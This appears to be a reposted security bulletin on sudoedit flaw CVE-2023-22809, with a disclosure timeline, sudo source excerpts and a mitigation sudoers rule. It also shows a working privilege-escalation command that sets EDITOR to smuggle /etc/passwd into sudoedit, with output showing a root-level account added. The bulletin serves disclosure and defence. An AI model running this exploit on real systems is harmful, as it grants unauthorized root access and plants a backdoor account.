漏洞速递 | CVE-2023-22809 漏洞

Defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR"Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.confuser ALL=(ALL:ALL) SUDOEDIT

2022.12.23 Advisory sent to Todd.Miller@sudo.ws.2023.01.05 Patch sent by Todd Miller.2023.01.06 CVE-2023-22809 assigned.2023.01.12 Advisory sent to [email protected].2023.01.18 Public release.

// plugins/sudoers/sudoers.c@sudoers_policy_main()intsudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[], bool verbose, void *closure){ // [...] validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag); // [...] if (ISSET(sudo_mode, MODE_EDIT)) { // [...] safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc, &edit_argv, NULL,&env_editor, false);

// plugins/sudoers/editor.c@find_editor()char *find_editor(int nfiles, char **files, int *argc_out, char ***argv_out, char * const *allowlist, const char **env_editor, bool env_error){ // [...] *env_editor = NULL; ev[0] = "SUDO_EDITOR"; ev[1] = "VISUAL"; ev[2] = "EDITOR"; for (i = 0; i < nitems(ev); i++) { char *editor = getenv(ev[i]); if (editor != NULL && *editor != '') { *env_editor = editor; editor_path = resolve_editor(editor, strlen(editor), nfiles, files,argc_out, argv_out, allowlist);

// plugins/sudoers/editor.c@resolve_editor()static char *resolve_editor(const char *ed, size_t edlen, int nfiles, char **files, int *argc_out, char ***argv_out, char * const *allowlist){ // [...] /* * Split editor into an argument vector, including files to edit. * The EDITOR and VISUAL environment variables may contain command * line args so look for those and alloc space for them too. */ cp = wordsplit(ed, edend, &ep); // [...] editor = copy_arg(cp, ep – cp); /* Count rest of arguments and allocate editor argv. */ for (nargc = 1, tmp = ep; wordsplit(NULL, edend, &tmp) != NULL; ) nargc++; if (nfiles != 0) nargc += nfiles + 1; nargv = reallocarray(NULL, nargc + 1, sizeof(char *)); // [...] /* Fill in editor argv (assumes files[] is NULL-terminated). */ nargv[0] = editor; // [...] for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) { /* Copy string, collapsing chars escaped with a backslash. */ nargv[nargc] = copy_arg(cp, ep - cp); // [...] } if (nfiles != 0) { nargv[nargc++] = "--"; while (nfiles--) nargv[nargc++] = *files++; } nargv[nargc] = NULL; *argc_out = nargc; *argv_out = nargv;

// src/sudo_edit.c@sudo_edit()intsudo_edit(struct command_details *command_details){ // [...] /* * Set real, effective and saved uids to root. * We will change the euid as needed below. */ setuid(ROOT_UID); // [...] /* Find a temporary directory writable by the user. */ set_tmpdir(&user_details.cred); // [...] /* * The user's editor must be separated from the files to be * edited by a "--" option. */ for (ap = command_details->argv; *ap != NULL; ap++) { if (files) nfiles++; else if (strcmp(*ap, "--") == 0) files = ap + 1; else editor_argc++; }

EDITOR='vim -- /path/to/extra/file'

vim -- /path/to/extra/file -- /path/from/policy

$ cat /etc/sudoersuser ALL=(ALL:ALL) sudoedit /etc/custom/service.conf[...]$ EDITOR='vim -- /etc/passwd' sudoedit /etc/custom/service.confsudoedit: --: editing files in a writable directory is not permitted2 files to editsudoedit: /etc/custom/service.conf unchanged$ tail -1 /etc/passwdsudoedit::0:0:root:/root:/bin/bash

env_delete+="SUDO_EDITOR VISUAL EDITOR"Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.confuser ALL=(ALL:ALL) SUDOEDIT

https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf